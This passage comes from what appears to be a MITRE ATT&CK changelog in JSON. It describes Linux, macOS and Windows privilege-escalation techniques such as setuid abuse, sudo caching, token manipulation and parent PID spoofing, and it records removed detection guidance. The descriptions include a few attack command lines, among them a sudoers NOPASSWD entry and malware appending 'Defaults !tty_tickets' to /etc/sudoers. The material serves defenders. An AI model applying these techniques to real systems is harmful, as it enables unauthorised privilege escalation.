2019.", + "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg" + }, + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html" + }, + { + "source_name": "Death by 1000 installers; it's all broken!", + "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", + "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8" + }, + { + "source_name": "OSX Coldroot RAT", + "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", + "url": "https://objective-see.com/blog/blog_0x2A.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jimmy Astle, @AstleJimmy, Carbon Black", + "Erika Noerenberg, @gutterchurl, Carbon Black" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.860000+00:00\", \"old_value\": \"2025-04-16 20:37:19.503000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0395: macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 14:11:41.212000+00:00", + "modified": "2025-10-24 17:48:53.456000+00:00", + "name": "Setuid and Setgid", + "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/001", + "external_id": "T1548.001" + }, + { + "source_name": "GTFOBins Suid", + "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.", + "url": "https://gtfobins.github.io/#+suid" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "setuid man page", + "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", + "url": "http://man7.org/linux/man-pages/man2/setuid.2.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.456000+00:00\", \"old_value\": \"2025-04-16 20:37:17.707000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0110: Setuid/Setgid Privilege Abuse Detection (Linux/macOS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 14:34:44.992000+00:00", + "modified": "2025-10-24 17:48:26.105000+00:00", + "name": "Sudo and Sudo Caching", + "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/003", + "external_id": "T1548.003" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + }, + { + "source_name": "cybereason osx proton", + "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", + "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.105000+00:00\", \"old_value\": \"2025-04-25 14:45:52.996000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0052: Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2025-10-24 17:49:29.051000+00:00", + "name": "Access Token Manipulation", + "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134", + "external_id": "T1134" + }, + { + "source_name": "BlackHat Atkinson Winchester Token Manipulation", + "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "Microsoft LogonUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" + }, + { + "source_name": "Microsoft DuplicateTokenEx", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx" + }, + { + "source_name": "Microsoft ImpersonateLoggedOnUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx" + }, + { + "source_name": "Pentestlab Token Manipulation", + "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.", + "url": "https://pentestlab.blog/2017/04/03/token-manipulation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tom Ueltschi @c_APT_ure", + "Travis Smith, Tripwire", + "Robby Winchester, @robwinchester3", + "Jared Atkinson, @jaredcatkinson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"User Account: User Account Metadata\", \"Process: Process Metadata\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.051000+00:00\", \"old_value\": \"2025-04-16 20:37:21.869000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n\\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n\\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n\\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n-\\n-There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n-\\n-Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n-\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0283: Behavior-chain detection for T1134 Access Token Manipulation on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-18 16:48:56.582000+00:00", + "modified": "2025-10-24 17:48:53.370000+00:00", + "name": "Create Process with Token", + "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134/002", + "external_id": "T1134.002" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "Microsoft RunAs", + "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vadim Khrykov", + "Jonny Johnson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.370000+00:00\", \"old_value\": \"2025-04-16 20:37:17.537000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0456: Behavior-chain detection for T1134.002 Create Process with Token (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-18 18:03:37.481000+00:00", + "modified": "2025-10-24 17:49:05.200000+00:00", + "name": "Make and Impersonate Token", + "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134/003", + "external_id": "T1134.003" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "LogonUserW function", + "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jonny Johnson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.200000+00:00\", \"old_value\": \"2025-04-15 19:58:49.948000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0498: Behavior\u2011chain detection for T1134.003 Make and Impersonate Token (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-18 18:22:41.448000+00:00", + "modified": "2025-10-24 17:49:06.759000+00:00", + "name": "Parent PID Spoofing", + "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134/004", + "external_id": "T1134.004" + }, + { + "source_name": "XPNSec PPID Nov 2017", + "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", + "url": "https://blog.xpnsec.com/becoming-system/" + }, + { + "source_name": "CounterCept PPID Spoofing Dec 2018", + "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", + "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/" + }, + { + "source_name": "Microsoft UAC Nov 2018", + "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", + "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works" + }, + { + "source_name": "Microsoft Process 